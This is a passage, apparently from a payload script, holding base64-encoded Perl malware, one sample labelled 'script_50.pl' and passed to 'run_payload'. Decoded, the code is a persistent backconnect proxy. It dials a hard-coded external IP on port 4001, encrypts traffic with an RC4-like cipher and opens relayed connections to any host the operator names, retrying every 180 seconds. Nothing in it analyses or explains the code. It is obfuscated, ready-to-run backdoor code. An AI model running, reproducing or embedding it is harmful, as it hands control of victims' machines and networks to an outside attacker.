Q0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_50.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyA